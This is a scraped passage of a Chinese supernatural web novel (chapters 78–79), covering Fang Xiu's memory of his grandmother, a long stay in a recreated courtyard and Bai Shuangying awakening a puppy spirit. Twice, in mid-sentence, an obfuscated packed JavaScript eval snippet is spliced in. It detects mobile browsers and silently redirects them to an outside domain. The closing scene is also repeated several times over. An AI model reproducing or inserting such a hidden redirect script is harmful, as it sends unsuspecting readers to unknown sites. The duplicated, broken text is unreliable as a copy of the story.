他的爸妈体质很好,年老的村民被一波波甩脱,只剩十几个健壮的年轻人。 奶奶也在被甩脱的人群里,她扶着一棵老树,呼哧呼哧地喘着,在方休的视野里越变越小。 “方琼玉,给我回来! 奶奶皱缩的身体挤出阵阵哀嚎,“作孽啊!不孝啊——! 爸爸让妈妈跑在前面,抱着方休殿后。 无论奶奶如何尖叫,爸爸都没有回头,连脚步都没有放慢分毫。他大口喘息,呼吸带着颤抖的哨音—— 山路难走,年轻村民追得死紧。有那么几次,他们脏兮兮的手几乎要抓住方休的头发。 “方琼玉,你回头!你回头给我收尸! 眼看夫妻俩逃入群山,老人撕扯充血的声带,浑浊的眼里全是泪水。“方休,你骗奶奶!……你们都是邪祟!邪祟! 奶奶的声音饱含哀恸,仿佛她仅剩的亲人不是在逃生,而是奔向死亡。 “我的功德啊——她抓挠着脸上的泪痕,一头撞向身边老树。 小方休微微睁大眼睛。 黑瞳倒影里,老人僵住身体,身体顺着树干滑下,像是一只怪异的布口袋。 奶奶不再动弹,身上多了扎眼的红色。 奶奶不再尖叫,世界骤然静寂,村民们的呼喊都显得安静。 那一刻,方休甚至没有悲伤。一切像个过分离奇的噩梦,他只是无法理解……他嘴里还有一点芝麻糖饼味道。 真奇怪,方休想。明明爸爸妈妈跑了很远,奶奶的身影变得很小,他仍能看清奶奶充满仇恨的眼。 奶奶恨他。 为什么?因为他说了谎? 他想起奶奶带他摘枣子,为他烙糖饼,临分别时拼命给他塞点心。奶奶从来舍不得他离开,此刻她却把他丢下了。那些记忆明明不是假的,那些爱也不是假的。 ……他完全无法理解。 “爸爸。方休梦呓似的念叨,“奶奶摔倒了。 温热的液体滴到他的脖子上,不知道是爸爸的汗水还是眼泪。 爸爸仍然全力奔跑,没有回答。 万事万物黯淡下去,回忆就此淡出。 白双影知道,这意味着方休的祖母彻底死亡。 方休与祖母的因果,到此为止。 再看向方休的时候,白双影有一瞬的迷茫。 他没法把那个天真的人类幼崽和面前的方休对应起来。简直就像圆滚滚的猫仔,长成了瘦骨嶙峋的花豹,物种都变了。 他的人类真的很神奇。 遗憾的是,白双影看完因果,仍没搞清方休如何变成了现在的模样。毕竟因果结束之时,小方休的情况和那只小**差不多——茫然又单纯,完全无法理解现状。 不过这一次窥探下来,他确实有所收获。 庄归去第五十八世孙庄崇岳? 怪不得归山教的术法克他,原来教主是庄归去那厮的徒子徒孙。千百年下来,那个牛鼻子老道阴魂不散,居然还搞出了害人的教派。 白双影动了动身上的锁链,眯起眼。 自己身上的锁链,有那个姓庄的几分“功劳”。 偏偏一个与归山派有仇的方休召出了自己,又能够解除封印。要说这是巧合,未免也太巧了。 真好,方休已经落到了他的手里。 他只需要再了解一些,再深入一些……抓得再牢一些。 白双影松开手,因果线一阵游移,隐入方休体内。周围的景色扭曲变幻,原本的院落变成了方休记忆中的小院。 从砖头上的划痕,到枣树的枝杈,一切与方休记忆中的分毫不差。 ……来吧,方休。 我们会在这里住很久,很久。 第 78 章 美好假期 第78章美好假期 【意外插曲。】 亲吻之前,为了维持理性,方休事先在脑内做好了全方位立体防御—— 根据看过的爱情片,他在脑内模拟了许多场景。左边架起来“又不是没嚼过人家本体”,右边架起来“邪祟不懂人心别太沉迷”,脑袋上“一切终将结束”一顶。区区一个吻,他绝对压得住个人情感。 ……结果根本没用,和说好的不一样。 口中舌头突然分叉,填满了他的口腔和咽喉。方休睁大眼睛,盯住白双影近在咫尺的脸,连反射性的不适都忘记了。 白双影舌尖划过咽喉的那一瞬,方休活像被炼铁炉的热气冲刷,在**般的热度里闭上眼。他的心脏彻底没了节奏,蹦迪似的乱跳。有那么一秒,他有点担心自己心脏病发。 地府做的肉身质量应该够吧? 想了两秒,他又在心里痛斥自己没出息,哪有初吻的时候想这个的。 ……然后他就不知道该想什么了。他的思维像是断了线的彩色珠子,在脑袋里面乱蹦。 方休的身体从此由脊髓指挥,本能地抓住白双影的袖子,然后抓住了对方的手臂。气管被堵住,缺氧和兴奋之下,他的眼前一片发白,昏沉沉得像是醉酒。 真好啊,有种暂时脱离于世界的感觉。 方休不清楚其他人类的初吻体验如何,反正这一吻过后,他原地融化足足五分钟。直到看见奶奶家熟悉的院子,他才堪堪站稳脚跟。 “还原得真好,好多地方我自己都不记得了。” 他视线扫过院子的每一个角落,满脸稀奇地抚摸墙壁,“所以,你看了我的记忆?” 白双影:“只看了你与你祖母的因果。你我亲得不够久,来不及看太多。” 方休摸了摸自己的嘴唇:“也是,毕竟某人连精气都忘了吃。” 他嘴巴不饶人,动作却有点不自在,仿佛活了这么多年第一次发现自己长了嘴。 好新鲜的反应,白双影看了方休好一会儿。 话说回来,面对奶奶家的院子,方休脸上只有淡淡的怀念,并没有人类常见的崩溃流泪。这份情感的重量,与他对归山教的恨意完全不平衡。 ……看来,他没有抓到关键的因果,白双影有种一脚踩了个空的寂寥感。 “你很冷静。”白双影评价道。 “都快二十年啦。” 方休长长地呼出一口气,终于不再触摸嘴唇,“我确实很爱我的奶奶,但我和她的相处时间就那么长,不至于被她的死搞崩溃。” “那你恨归山教,是因为你的父母?”白双影毫不忌讳地发问 。 “不止,那可是一个很长——很长的故事。” 方休半好笑半无奈地瞧过来,他伸出指尖,按按自己的下唇,“想知道的话,下次记得好好偷看。” “好。”白双影认真地表示。 方休摇了摇头,又笑起来:“你可真是……” 白双影竖起耳朵,然而方休没说完这句话。 他的人类走到院落中间,拥抱那棵变成枣树的柿子树。方休闭上双眼,脸颊贴在树干上,就像在拥抱一位亲人。 小**跟在方休脚边,两只前脚扑上他的腿,一无所知地摇着尾巴。 “谢谢你,这个地方真的很完美。” 他低声咕哝,手臂轻轻松松将树环住,“我小的时候,手臂抱它刚刚好呢。” 白双影见缝插针:“你准备在这里待多久?” “我不知道。” 方休睁眼瞧瞧白双影,又垂头看了眼小**,“待到我想出办法,或者我别无选择?” 很好,看来他没必要再出手干涉。白双影满意了。 就算这次的因果没收获,看方休如何处理小**,他仍能进一步了解这个人类。 他调整姿态,煞有介事地靠近方休,对他的人类低语:“慢慢来便好。” 白双影的呓语中没什么情感,却带有意味不明的笑意,听着让人毛骨悚然。 ……结果他刚靠近,就被方休逮了个正着。 方休朝白双影胳膊上亲昵地一倒,脸埋进他的发丝与袖子,使劲蹭了蹭。 “可不是要慢慢来嘛。”他嘟嘟囔囔宣布,“对我来说,这可是神圣的‘周五夜晚’!” 白双影:“?” 方休:“没事,以后你有机会上学上班就懂了。” 白双影:“……” …… 吕扬觉得这场祭祀不正常。 他醒来的第一时间,就跑去找方休道歉。听闻队友全军覆没,他绝望哭泣了很久。 然而他的嚎啕一鼓作气再而衰三而竭,无他,这场祭祀实在太——长了。 就像在排长队等打针的小学生,吕扬的绝望和恐惧渐渐变成了麻木。 方休完全没有解厄的打算,他带着剩余三个同伴搬进了正房。两位女性住西卧室,吕扬和关鹤睡东卧室,整个正房热热闹闹。 至于方休,他把沙发改造成了床铺,孤身一人睡在客厅——尽管对于单人来说,那张沙发软床实在有点大,睡两个人也绰绰有余。 ……可能方休就是喜欢大床吧。 由此,吕扬过上了有水有电、平静而诡异的生活。 方休队伍里的人待他很礼貌,但也就是普通室友的程度。自己主动去请教,对面有问有答。自己什么都不做,对面也没 人管他。 他们对吕扬没有任何要求,只是字面意思上添双筷子—— 每天早晨五点半,成松云准时起床,准备所有人的早餐。 早餐大多是野菜肉汤和甜点心,配上大小像柿子、颜色也像柿子的冬枣。总之荤素搭配营养齐全。 六点,和吕扬同房间的关鹤也会起床。 这小子每天早上都起来绕院子跑操,风雨无阻。跑完操后,他就和梅岚、成松云一同外出打猎。 每次回来时,这小子都满头热汗,像是刚从水里捞出来,身上还会添几道新伤疤。他有时候猎野兔回来,有时候猎野鬼回来,偶尔两者绑在一块儿,视觉效果非常壮观。 ……野兔也就算了。关鹤总是把逮住的鬼吊起来,晾在窗户前面,不知道向谁学的。 邪祟这玩意很难死,挂在窗户上的鬼头鬼手总是自己摇晃,还动不动怪叫几声。吕扬听得胆战心惊,夜不能寐。他旁边的关鹤倒是睡得香甜,疑似把鬼叫当成白噪音。 好在这东西的杀伤力是双向的。 自从关鹤用卧室窗户制作鬼腊肉,夜晚贴窗户的鬼都没了,窗外一片明月清风好景色。 比起关鹤,吕扬觉得自己和那群邪祟更像难兄难弟。 ……这群人里最奇怪的,就是方休。 作为队伍的领袖,方休从不外出打猎,也不去收集食材。队友们的包容下,此人光明正大地偷懒—— 方休白天躺在院子里晒太阳,晚上躺在沙发上看电视。只要是个能坐能躺的地方,方休都会随机刷新在上面。 那个红衣青年总是舒展身体,面带微笑,一副畅快享受的模样。 当然,方休也会出门。然而就算出门,方休必定要一个人出门,从不带同伴。 就这样,祭祀平平淡淡过了数日。吕扬有点害怕。 他能在逻辑上理解姜寻,却搞不懂这支队伍想做什么——无论姜寻行为多么离谱,他的目的至少还是解厄。这群人呢,在这里住到永远吗? 还是说,他们刻意养着他,在准备什么特别厉害的玄学仪式? 吕扬免费饭菜吃不香,晚上睡不好。终于他忍无可忍,自告奋勇去干活……顺便偷看方休在干嘛。 那天天高云阔,方休哼着小曲,独自走向院子外的树林。 吕扬带着尸体背着背篓,远远跟在后面。 树林被金黄色的落叶铺满,微风吹过枝头,落叶如同无止尽的黄金雨。光是听那簌簌响声,就让人打心底的舒畅。 “来,捡回来!方休抓起一根树枝,扔向远方。 下个瞬间,周遭落叶猛地旋起,一阵风吹向树枝的落点。没过几秒,那根树枝自己一颠一颠地飘了回来。 吕扬:“???” “好狗狗,好狗狗。”方休满脸笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705309|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抚摸空气。 随即他侧过脸,看着身边的虚空。 “嗯,我确实不打算给它取名字,我没法陪它一辈子嘛。”方休冲虚空微笑。 吕扬惊讶地发现,哪怕看不清方休的眉眼,那个笑容也非常好看。 作为一个铁血直男,吕扬很少这样赞美同性,除非对方真的达到了超高标准。不过刚才那个笑……他觉得就算是顶尖演技的明星,也很难学出来。 那个笑容太柔和了,和这血腥的祭祀格格不入。 问题是,方休压根没在对活人笑。 他知道方休的队伍都跟着鬼,但鬼是这么个跟法吗,好像哪里不对吧! 不远处,方休“单方面”的对话还在继续。 那人像是听见了好笑的话,畅快地笑出声:“哎哟,什么叫‘都给你起名了’!你和它能一样吗?我……” 他刚笑了两声,嘴角突然沉了沉,笑容晦暗了几分。 “我确实会陪你一辈子。”方休说道。 他身边的树叶突然无风自动,像是有什么逼近了方休。 “……当然,那是我死在祭祀里的情况。”方休拍了拍虚空,笑容重新开朗,“都四场祭祀啦,你怎么还这么好骗。” 说完他伸出手,指尖慢慢滑过空气。 树叶再次擅自飞舞,那东西貌似又近了两步。 “小狗的事,我暂时还没想到更好的解法。” 方休耸耸肩膀,“不过这地方是个完美的练习场——强度不高还源源不断的邪祟啊,多难得,正好让大家练练手。” “吕扬的话,看他自己想走多远了。成姐该说的都说了,剩下的谁也教不了。”片刻后,方休又补了句。 风再次打了个卷儿,吹散落叶。 一个白衣人凭空出现,那人背对吕扬,正站在方休与吕扬之间。 他没有回头,语调不耐:“我没问他的事,你不如直接同他说。” 方休顺势挨上那人的肩膀,脸颊贴着泼墨般的长发,看向躲在树后的吕扬。他伸出手来挥了挥,简单打了个招呼。 接着他缩回手,额头轻轻抵住白衣人的肩膀,结束了这场无声的对话。 那姿态十分亲昵。很奇妙的,吕扬不觉得恐怖,反而有种“非礼勿视”的局促感。 吕扬收回视线,他瞧了瞧身边僵硬的尸体,陷入沉默。正如之前几天,方休并不打算过来“指导”他。 说来好笑,濒死时分,他决定听从自己的想法。周遭一安全,他又开始习惯性地等人引导。 明天早上,他和关鹤一同起床跑操吧。也许、也许他也能抓两只鬼吊起来晒。 隐藏的恐惧雪融般消失,吕扬的思绪逐渐放松。说来方休的鬼白衣长发,原来是女……不对,对面个子太高肩膀太宽,声音也不对。 等等,方休刚才是朝一个男鬼笑得那么温柔?! 那家伙果然了不得,吕扬的思绪陡然绷了回来。 千里之外的解厄塔,奠二的神经也紧紧绷着。 它坐在香炉边沿,喀嚓喀嚓咬着指尖,咬得满嘴都是纸屑。 方休他们已经走了足足一个星期,它的队伍之前从没有离开那么久!更恐怖的是,负责消灾人姜寻的纸人暗自联系了它,说姜寻好几天前就**。 杀他的是个黑.道士,就在方休的队伍之中。难道是那个黑.道士搞了鬼,把方休他们困在了祭祀里? 不,不对。方休没那么愚钝,他肯定能看出梅岚的问题。而且梅岚知道方休的本事,没道理与方休反目。 ……那就是凶风厄的问题? 也不对,那**邪祟只是靠凶风厄的力量隐藏行迹,本体并未消失。哪怕方休犯了忌,进不了院子,那条傻狗也会时不时往外跑。 只要方休看破厄的本体,把**邪祟诱出来,总有办法对付。 ……方休到底被什么绊住了? 纸人奠二百思不得其解。 它思前想后,决定提前去祭祀场看看——上回中秋祭,算它恶意犯规。这次它善意犯规,应该不会被罚得太狠吧。 就当提前攒报告材料,它严肃地想。 第 79 章 生日礼物 第79章生日礼物 【提前送达。】 白双影的因果污染滴水不漏,其余人并未察觉院子的变化,天天指柿为枣。 每天从“奶奶家”里醒来,方休总要恍惚几分钟。 最近几天,他找到了小时候在老桌子上刻的“正”字,还有藏在书柜最底下的塑料小人。不仅仅是这些小玩意儿,老屋特有的气味都很还原。 这地方不是人间,方休却比回到人世还要放松——奶奶的房间井井有条。站在这里,就像回到一切开始之前。 爷爷奶奶出门买菜,父母去镇上办事。大家都还在,过往只是一场噩梦,他们随时都可能回来。 方休很擅长欺瞒他人,也很擅长哄骗自己。只是应景的小小幻想,何乐而不为呢? 天色渐晚,方休跑出院子看晚霞。 小**好不容易有了玩伴,天天黏着方休和白双影。它最近热衷于一项新游戏——在方休和白双影之间“8”字形来回跑,跑到自己晕头转向为止。 如果两人贴在一起,小狗就以他们为圆心,螺旋形跑出去再跑回来,乐此不疲。 比如此时此刻,两位就光明正大地贴在一起。 他们躲在隐藏里,守着放了蔬果的网兜陷阱,等野兔自投罗网。 网兜陷阱是方休亲手做的,小时候他看爷爷做过。白双影表示,他用术法抓兔子更快,结果提议被方休残忍地否决了。 “钓鱼的乐趣不在于捕鱼。”方休一本正经地说道。 白双影似懂非懂。他半抱着暖乎乎的方休,两个人坐在秋叶之中。十几分钟过去,网兜没有任何动静。 ……他真的不明白,一个空荡荡的网兜有什么好看的。 白双影穷极无聊,他随手捋他的人类,时不时往网兜上扔束缚法术。又是一炷香过去,那网兜叠满术法,已然可以取名“鬼见愁”,仍然没有兔子自投罗网。 白双影有点微妙的不爽。他动辄被方休哄骗,方休又被野兔耍了,那他岂不是在野兔之下?简直岂有此理。 他余光瞥了方休一眼,悄悄使了个混乱的术法。方休开始拼命抿嘴唇,像是在憋笑。 赤红的晚霞转为蓝紫色,两位连一根兔子**都没捞到。方休动了动**手脚,捏捏白双影的手:“走,回去吃晚饭。” 他摸摸叼着邪祟残骸的小狗,表情格外满足。 白双影纹丝不动,活像袍子下面生了根。他瞪视着空荡荡的网兜,大有和它势不两立的意思。 方休:“……” 方休侧头咳嗽几声,正色:“最近小关他们一直在抓兔子,可能兔子没了。” 白双影皱眉:“有,我能感觉到。” 区区野兔,它们正在远处撒丫子乱跑,逃不出他的视线。 “那可能是秋天不缺吃的,它们懒得过来。”方休反过来安慰白双影。 白双影不吭声。 方休:“我第一次和爷爷下网兜,也什么都没逮到。” 白双影还是不吭声。 方休福至心灵:“你要是实在不甘心,用法术逮一只吧。” “嗯。”白双影立刻回应。紧接着他桃骨煞一挥,平地卷起一阵阴风。 方休无言。 桃骨煞都用上了是吧,要不要这么较真。眼见白双影朝网兜散发可怖的寒气,他只觉得……怎么说呢,怪可爱的。 桃骨煞加持下,白双影的法术生效极快。只见一个影子嗖地蹿过来,被加强版网兜逮了个正着。 方休探头去看,半晌,他小心翼翼道:“你是不是对我用了因果污染?” 白双影:“没有。” “那这兔子长得可真像奠二。”方休缓声继续。 白双影:“……确实。” “爷爷是地府阴差!”纸人被网兜死死缠着,“尔等竟敢冲撞……咳咳咳咳咳!” 发现白双影和方休现出身形,纸人后半句威胁瞬间变成咳嗽。它在网兜里无辜地眨巴着眼,殷切招呼:“哎哟方先生,您没事啊!” 方休欲言又止,反问:“您没事吧?” 小**感受到了陌生人的气息,它飞快跑到方休身前,朝奠二呲起牙齿。 “没事没事,这网质量挺好。” 奠二品了半天,品不出方休是在关心还是在嘲讽,它决定当前者处理,“法术堆得可真……密啊。” 可不是么,白双影一整个傍晚的杰作。 方休站在原地,没有上前的意思:“祭祀好像还没结束,难道地府那边有通知?” “祭祀超时,咱来做个巡查。嘿嘿,这不是怕您出事吗?”纸人老老实实团在网兜里。 方休上上下下将纸人看了个遍,露出了然的神色:“原来如此,你又违规插手。” “!!!”一秒露馅,纸人脸上两坨红颜料都变白了。 它提前准备好的“官方监察”剧本,一句没说就当场报废。 方休转头看向白双影:“哇,它真的违规插手了。我就是随口一诈,这家伙比你还好骗。” 他单纯觉得奠二的出场有些猥琐,往常这家伙都是从天而降来着。 奠二、白双影:“……” 奠二哭丧着脸:“祖宗,咱是真的挂心您!您说您这喘着气,又久久不解厄,咱怕欢喜祭重现啊!” 方休:“哦,我没事,您回吧。” 奠二:“……不!” 直接 回去跟个傻子似的,万一方休哪天跟阿守大人提一嘴,它就真的完了。 反正它看管的队伍在这耗着,那它就在这看管。大不了它帮方休想想解厄办法,最好让方休欠它个人情。 方休响亮地“啧”了一声:“我们不管饭,您自便。” 奠二在网兜里挺起胸膛:“自然不用您费心。” 有它这个官方人士在,解厄的日子还会远么? …… 如此这般,纸人终究逃离了网兜,住进了空荡荡厢房。它取出随身携带的纸笔,自信地记录起来—— 第一日。 方休稳住了**邪祟,与其相处融洽。 他定是想要利用凶风祭的场地,让同伴稍作休整。闲暇之余,祭品们自觉练习应对邪祟,如此甚好! 第二日。 方休与那**邪祟过分亲密,与他的艳鬼更是形影不离。 其余祭品都在练习,他却在做些毫无意义的闲事。或许其中另有深意,咱得进一步观察…… 那黑.道士颇为老实,翻不起什么浪花。 第三日。 方休问咱解厄之事,他果然知道凶风厄的正体! 咱据实答了。只要破坏凶风厄,祭祀即刻结束,**邪祟则会在七日之内消失。咱讲得用心,希望那人类记得这份儿人情。 也罢,即便此人想要偷懒,也该晓得把握分寸。他可是解了欢喜厄的人,不必忧心……除了那只艳鬼,方休与他纠缠的时间,竟比同伴都多。 消灾人的苗子难得,望他不要过分沉湎美色。 第四日。 望他不要过分沉湎美色!!! 天天卿卿我我,他们想在这过日子吗?! 第五日。 天杀的,劝不动…… …… 第六十日。 雪。 哇,入冬了。 夜色渐浓,纸人双目无神地扒在窗台前,看着天上飘飘摇摇的初雪。 院子里,**邪祟在雪地上欢快地打着滚。方休翻出了院子里的旧棉衣,把自己包成个笨拙的蚕蛹。 他和那艳鬼连体婴一般贴在一块儿,分毫不着急。那艳鬼也有着过分的耐心,始终不见催促。 坏了,他们该不会真要在这过下去吧。 一个有地府肉身作保,一个压根就是艳鬼。只要耐得住寂寞,他们还真能过到地老天荒。 它还能回塔吗? 不,其实它也不怎么想要回塔。阿守大人一定发现了它擅离职守的事,想着想着,纸人眼睛湿湿的。 巧的是,白双影也在想差不多的事。 最近两个多月,他日日与方休同食同宿,形影不离。说句实话,这样的日子还挺畅快——方休总是能找到新奇的傻事,拉着 他一起干。 生活平稳愉快,白双影眼中方休也没什么变化。一天天过去,他并没有多了解方休一点。 天气慢慢转寒,林子里野兔骤减,野菜和水果也没了来源。餐桌上只有方休用技能召出的供品。 就算房内有火有电,野外的寒冬依旧难熬。成松云的脚有些冻伤,关鹤和吕扬早上也不再跑操。两个月下来,他们该练的都练好了。 再在这里磨蹭下去,完全没有意义。方休肯定明白这一点。 这些时日,方休陪伴小狗的时间越来越长。 秋天他们与它踩树叶,冬天他们陪它玩雪。他们都知道,终有一天,方休需要亲手破坏厄,送小狗消失。 方休在推迟那一天的到来,白双影在等待那一天的到来。 方休不是玄学中人,他就算再聪明,也没法改变那个简单的矛盾——小狗在依附厄,他们要破坏厄。 可是渐渐的,白双影有了别的想法——自从尝到甜头,他十分热衷于“思考”。 白双影发现,他其实能猜到接下来的发展。无论方休再怎么喜欢那只小狗,他的人类终将结束一切,再度前进。 害死小狗这件事,会变成一道看不见的伤疤。让方休铭记,痛苦,以及怀念。 ……就像方休的祖母之于方休。 白双影伸出手,揉了揉小**的肚子。小**对自己的命运一无所知,它正在雪地里仰天打滚,伸嘴去咬天上的雪花。 “其实再过两个月,我就要过生日了。”方休没头没尾地说了一句。 白双影转头看他。 “只是突然想到。我小时候总在奶奶家过生日,还会用雪来堆蛋糕。” 方休往手上吐了口白汽,“你放心,我不会任性到那个时候才走……天太冷了。” 他的人类低头看着他们,笑容蒙着淡薄的阴影,眼底藏了一点点悲哀。 两个月的相处下来,白双影已然能读懂那种微妙的情绪。他停住动作,小**鼻头拱着白双影的手,要他多摸摸。 一个由过去铸造的舞台,一个毛茸茸的小道具,还有他注定痛苦的人类。 剧本安排好了,他只需在一旁等待,但是…… ……没人规定,道具只有一种用法吧? 他看过了差不多的悲剧。再观当下,他恰巧也是剧本的一部分,那么—— 雪片纷飞中,白双影慢慢站起身。 “我不会用雪堆蛋糕。” 他盯着方休的眼睛,缓声说道,“但我可以提前给你贺礼。” “这么客气啊?”方休当他开玩笑。 “想送就送了。”白双影随意道。 方休眨眨眼:“哎,那你要送我什么?” 白双影 抽出桃骨煞,雪白的花朵触上白雪。整个空间荡起涟漪,院子四周的窗户——主要是纸人挨着的那一扇——啪地关上了。 风声不知道什么时候停止了,周围死一般的静寂。小狗翻过肚皮,抖抖身上的雪,眼睛在两人身上打转。 这个小东西不同于嵬山神,有些麻烦。不过以他现在的力量,大抵能够做到。 白双影抱起沾满雪花的小**,与它严肃地面对面。 “我准许了。” 小狗不解地歪过脑袋。 下一刻,天旋地转。 空气变得无比粘稠,雪片倒着灌向乌云,小狗身上亮起一片黯淡金光。短短几秒后,异象消失殆尽,一丛雪片落到了小狗鼻尖上。 小狗打了个喷嚏,圆溜溜的眼里出现了类似于“惊讶”的情绪。 它的脑袋疯狂歪来歪去,像是在努力思考着什么。 “不必害怕。”白双影轻声说道,“灵智乍开,大多如此。” 小**犹豫着摇摇尾巴,汪了一声。 它的样貌毫无变化,但方休有种强烈的感觉,有什么似乎不一样了。 他抿了抿冻起皮的嘴唇:“你该不会……” “它还是很笨,但这种程度,够得上最下级的鬼仙。” 白双影说,“地府想要解决污染,厄被鬼仙成功炼化,也算‘解决’。” “你不必杀它,这就是我的贺礼。” 白双影顺手解除隐藏,直直望向方休的眼底。 来吧,我看过你的绝望和痛苦,让我看看另一面的—— 白双影还没来得及找到最佳观察角度,胸口突然一紧。方休扯住他的领口,径直贴了上去。 寒冬之中,人类的嘴唇烫得惊人。 方休的动作笨拙而坚定。就像即将溺死的人,要从他这里吻去救命的空气。 “鬼仙的气——”奠二高叫着冲出厢房,接着冰雕一样僵在门槛上。 小**抖抖**,它生涩地显出身形,冲奠二汪了一声。 抽出桃骨煞,雪白的花朵触上白雪。整个空间荡起涟漪,院子四周的窗户——主要是纸人挨着的那一扇——啪地关上了。 风声不知道什么时候停止了,周围死一般的静寂。小狗翻过肚皮,抖抖身上的雪,眼睛在两人身上打转。 这个小东西不同于嵬山神,有些麻烦。不过以他现在的力量,大抵能够做到。 白双影抱起沾满雪花的小**,与它严肃地面对面。 “我准许了。” 小狗不解地歪过脑袋。 下一刻,天旋地转。 空气变得无比粘稠,雪片倒着灌向乌云,小狗身上亮起一片黯淡金光。短短几秒后,异象消失殆尽,一丛雪片落到了小狗鼻尖上。 小狗打了个喷嚏,圆溜溜的眼里出现了类似于“惊讶”的情绪。 它的脑袋疯狂歪来歪去,像是在努力思考着什么。 “不必害怕。”白双影轻声说道,“灵智乍开,大多如此。” 小**犹豫着摇摇尾巴,汪了一声。 它的样貌毫无变化,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705310|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方休有种强烈的感觉,有什么似乎不一样了。 他抿了抿冻起皮的嘴唇:“你该不会……” “它还是很笨,但这种程度,够得上最下级的鬼仙。” 白双影说,“地府想要解决污染,厄被鬼仙成功炼化,也算‘解决’。” “你不必杀它,这就是我的贺礼。” 白双影顺手解除隐藏,直直望向方休的眼底。 来吧,我看过你的绝望和痛苦,让我看看另一面的—— 白双影还没来得及找到最佳观察角度,胸口突然一紧。方休扯住他的领口,径直贴了上去。 寒冬之中,人类的嘴唇烫得惊人。 方休的动作笨拙而坚定。就像即将溺死的人,要从他这里吻去救命的空气。 “鬼仙的气——”奠二高叫着冲出厢房,接着冰雕一样僵在门槛上。 小**抖抖**,它生涩地显出身形,冲奠二汪了一声。 抽出桃骨煞,雪白的花朵触上白雪。整个空间荡起涟漪,院子四周的窗户——主要是纸人挨着的那一扇——啪地关上了。 风声不知道什么时候停止了,周围死一般的静寂。小狗翻过肚皮,抖抖身上的雪,眼睛在两人身上打转。 这个小东西不同于嵬山神,有些麻烦。不过以他现在的力量,大抵能够做到。 白双影抱起沾满雪花的小**,与它严肃地面对面。 “我准许了。” 小狗不解地歪过脑袋。 下一刻,天旋地转。 空气变得无比粘稠,雪片倒着灌向乌云,小狗身上亮起一片黯淡金光。短短几秒后,异象消失殆尽,一丛雪片落到了小狗鼻尖上。 小狗打了个喷嚏,圆溜溜的眼里出现了类似于“惊讶”的情绪。 它的脑袋疯狂歪来歪去,像是在努力思考着什么。 “不必害怕。”白双影轻声说道,“灵智乍开,大多如此。” 小**犹豫着摇摇尾巴,汪了一声。 它的样貌毫无变化,但方休有种强烈的感觉,有什么似乎不一样了。 他抿了抿冻起皮的嘴唇:“你该不会……” “它还是很笨,但这种程度,够得上最下级的鬼仙。” 白双影说,“地府想要解决污染,厄被鬼仙成功炼化,也算‘解决’。” “你不必杀它,这就是我的贺礼。” 白双影顺手解除隐藏,直直望向方休的眼底。 来吧,我看过你的绝望和痛苦,让我看看另一面的—— 白双影还没来得及找到最佳观察角度,胸口突然一紧。方休扯住他的领口,径直贴了上去。 寒冬之中,人类的嘴唇烫得惊人。 方休的动作笨拙而坚定。就像即将溺死的人,要从他这里吻去救命的空气。 “鬼仙的气——”奠二高叫着冲出厢房,接着冰雕一样僵在门槛上。 小**抖抖**,它生涩地显出身形,冲奠二汪了一声。 抽出桃骨煞,雪白的花朵触上白雪。整个空间荡起涟漪,院子四周的窗户——主要是纸人挨着的那一扇——啪地关上了。 风声不知道什么时候停止了,周围死一般的静寂。小狗翻过肚皮,抖抖身上的雪,眼睛在两人身上打转。 这个小东西不同于嵬山神,有些麻烦。不过以他现在的力量,大抵能够做到。 白双影抱起沾满雪花的小**,与它严肃地面对面。 “我准许了。” 小狗不解地歪过脑袋。 下一刻,天旋地转。 空气变得无比粘稠,雪片倒着灌向乌云,小狗身上亮起一片黯淡金光。短短几秒后,异象消失殆尽,一丛雪片落到了小狗鼻尖上。 小狗打了个喷嚏,圆溜溜的眼里出现了类似于“惊讶”的情绪。 它的脑袋疯狂歪来歪去,像是在努力思考着什么。 “不必害怕。”白双影轻声说道,“灵智乍开,大多如此。” 小**犹豫着摇摇尾巴,汪了一声。 它的样貌毫无变化,但方休有种强烈的感觉,有什么似乎不一样了。 他抿了抿冻起皮的嘴唇:“你该不会……” “它还是很笨,但这种程度,够得上最下级的鬼仙。” 白双影说,“地府想要解决污染,厄被鬼仙成功炼化,也算‘解决’。” “你不必杀它,这就是我的贺礼。” 白双影顺手解除隐藏,直直望向方休的眼底。 来吧,我看过你的绝望和痛苦,让我看看另一面的—— 白双影还没来得及找到最佳观察角度,胸口突然一紧。方休扯住他的领口,径直贴了上去。 寒冬之中,人类的嘴唇烫得惊人。 方休的动作笨拙而坚定。就像即将溺死的人,要从他这里吻去救命的空气。 “鬼仙的气——”奠二高叫着冲出厢房,接着冰雕一样僵在门槛上。 小**抖抖**,它生涩地显出身形,冲奠二汪了一声。 抽出桃骨煞,雪白的花朵触上白雪。整个空间荡起涟漪,院子四周的窗户——主要是纸人挨着的那一扇——啪地关上了。 风声不知道什么时候停止了,周围死一般的静寂。小狗翻过肚皮,抖抖身上的雪,眼睛在两人身上打转。 这个小东西不同于嵬山神,有些麻烦。不过以他现在的力量,大抵能够做到。 白双影抱起沾满雪花的小**,与它严肃地面对面。 “我准许了。” 小狗不解地歪过脑袋。 下一刻,天旋地转。 空气变得无比粘稠,雪片倒着灌向乌云,小狗身上亮起一片黯淡金光。短短几秒后,异象消失殆尽,一丛雪片落到了小狗鼻尖上。 小狗打了个喷嚏,圆溜溜的眼里出现了类似于“惊讶”的情绪。 它的脑袋疯狂歪来歪去,像是在努力思考着什么。 